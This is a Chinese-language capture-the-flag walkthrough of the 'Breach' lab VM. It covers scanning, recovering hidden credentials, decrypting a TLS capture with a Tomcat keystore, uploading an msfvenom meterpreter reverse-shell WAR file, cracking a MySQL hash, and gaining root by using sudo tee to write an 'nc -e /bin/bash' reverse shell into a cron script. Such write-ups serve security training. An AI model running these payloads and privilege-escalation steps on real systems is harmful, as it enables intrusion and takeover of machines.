文章目录
- 环境搭建
- 信息收集
- 端口扫描
- 目录扫描
- 获得impresscms中的账号密码
- 扫描cms
- 登录impresscms
- 获得keystore储存库
- 获得别名,密钥口令
- 反弹war-shell
- 提权
- 登录数据库
- 登录milton
- 分析图片,找到blumbergh密码
- 写定时任务
环境搭建
靶机:breach
仅主机模式
ip:192.168.110.140
攻击机:kali
仅主机模式
ip:192.168.110.128
信息收集
端口扫描
nmap -T4 -A -v 192.168.110.140
几乎所有的端口都打开了
80端口有内容,但只有几行字和一张照片
图片可以被点击
点击第四个,跳转到下面这个页面
http://192.168.110.140/impresscms/user.php
目录扫描
dirb http://192.168.110.140
──(root㉿kali)-[~/Desktop/soft/dirsearch-master]
└─# python dirsearch.py -u 192.168.110.140
打开http://192.168.110.140/images/
,下面有几张图片
打开bill.png,上面的字让我们看源码(在后面才知道这句话的真正意思),但是这个上面图片的源码都没有内容,想到刚才80端口还有一个图片,这个源码有内容
获得impresscms中的账号密码
下面是http://192.168.110.140/80
图片源码中的
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
用base64解码两次,获得
pgibbons:damnitfeel$goodtobeagang$ta
看不懂
这是账号和密码,中间有:
记住了
http://192.168.110.140/.gitignore
将上面的目录打开也没有发现什么
扫描cms
使用msfconsole中searchsploit impresscms
查看路径命令:searchsploit -p 35134.txt
扫描系统:searchsploit 版本号 系统名字
用法: 将文件拷贝出来,然后改里面的路径,然后根据格式改后缀,打开就可以看到有没有漏洞
这里面没有有用 的漏洞
登录impresscms
获得keystore储存库
使用pgibbons:damnitfeel$goodtobeagang$ta
,会先让你设置,设置完之后,你会看到三封邮件,前两封无有用信息,第三封有密钥192.168.110.140/.keystore
keystore:密钥的储存库
获得别名,密钥口令
这个地方可以点击,然后获得一个路径(又是一个文件)
http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
别名、Keystore密码、key密码都设置成tomcat。由此推测:1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;2)系统中可能存在tomcat。
根据以上信息操作
使用Java keytool工具(Java自带)
在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore keystore,输入口令tomcat,查看keystore密钥库中的证书
接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat
密钥口令全填tomcat
首先利用wireshark打开下载的pcap文件
然后将生成的tomcatkeystore.p12证书,导入wireshark(在编辑-首选项里面选择TLS后点击Edit进行添加刚刚导出的tomcatkeystore.p12证书)
8443是tomcat打开SSL的文本服务的默认端口
发现一个url(如果连接失败,说不安全,挂一个bp代理)
https://192.168.110.140:8443/_M@nag3Me/html
需要登录,采用http basic认证
找到账号和密码了
tomcat:Tt\5D8F(#!*u=G)4m7zB
登录成功
反弹war-shell
发现可以上传文件,挂一个war反弹shell
利用msf制作war包木马
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war
在kail靶机上打开msf进行监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.110.128
msf6 exploit(multi/handler) > run
之后点一下kali(就是生成的木马名)
msf成功上线
提权
python -c 'import pty;pty. spawn("/bin/bash")'
因为是apache,所以查看一下/var/www
不能放过每个目录
0d93f85c5061c44cdffeb8381b2772fd.php
fe4db1f7bc038d60776dcb66ab3404d5.php
cache
modules
登录数据库
是数据库配置文件
cat 0d93f85c5061c44cdffeb8381b2772fd.php
获得信息
用户名:root
密码:空
impresscms里面没有有用的数据,直接看mysql
登录milton
select user,password from user;
| root | |
| milton | 6450d89bd3aff1d893b85d3ad65d2ec2 |
| root | |
| root | |
| debian-sys-maint | *A9523939F1B2F3E72A4306C34F225ACF09590878
md5解密6450d89bd3aff1d893b85d3ad65d2ec2
得到密码thelaststraw
找一下这个账号吧,那个root登录不上去我是没有想到那几张图片有问题
分析图片,找到blumbergh密码
将图片下载后利用图片隐写术, strings分析图片,或者exiftool查看(突然发现,那张bill.png(上面有字的)说的话,我理解错了,需要用隐写术)
没有的可以用这个命令进行下载
apt install libimage-exiftool-perl
到你下载的目录下执行命令
exiftool * | grep -i -e 'File Name' -e 'Comment'
发现密码coffeestains,
登录成功
写定时任务
查看历史记录
第5、6行明显有问题
发现他是为了防止黑客入侵,每隔三分钟定时清理一下
我们发现他是root用户才行执行那么我们可以 利用这个定时任务建立一个反弹连接进行提权
sudo -l看一下sudo权限,发现了一个tee命令
翻译:
User blumbergh may run the following commands on Breach:
用户blumbergh可以在Breach上运行以下命令:
用户blumbergh可以在Breach上运行以下命令:
linux tee命令
tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
所以回到家目录下写入shell
用tee命令写tidyup.sh
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
将其追加到定时任务里去
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
看一下有没有成功
cat /usr/share/cleanup/tidyup.sh
kali监听(等待3分钟)
nc -lvvp 5555